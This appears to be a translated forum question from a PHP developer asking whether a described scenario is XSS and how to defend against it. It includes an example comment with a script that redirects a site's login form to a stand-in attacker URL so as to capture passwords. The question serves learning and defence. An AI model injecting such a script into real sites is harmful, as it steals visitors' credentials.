Я разработчик PHP, и я хочу улучшить безопасность своих сайтов.
Из того, что я понимаю, следующие два основных типа уязвимостей, которые влияют на веб-приложения:
- SQL Injection
- XSS
SQL Injection может быть исправлена с помощью подготовленных операторов - легко.
Но я до сих пор не получаю XSS - это пример XSS?...
- Страница полного пользовательского контента имеет форму входа в систему (вверху сайта).
- Пользовательский ввод на страницу не экранирован HTML.
- Пользователь отправляет на страницу следующий контент (например, комментарий)...
A really nice comment
<!-- now an evil script (example here with jquery, but easily done without) --->
<script type="text/javascript">
$(document).ready(function() {
$('#login_form').attr('action','http://somehackysite.com/givemeyourpw.php');
});
</script>
- Невинный пользователь приходит на страницу, выполняет script.
- Невинный пользователь понимает, что они не вошли в систему, и введите свои данные в форму.
- Данные пользователя отправляются на
http://somehackysite.com/givemyourpw.php
, а затем детали учетной записи пользователя украдены.
Итак, у меня действительно есть три вопроса:
- Будет ли это работать?
- Это XSS?
- Есть ли какие-либо меры предосторожности, которые разработчики должны предпринять против XSS, кроме экранирования HTML?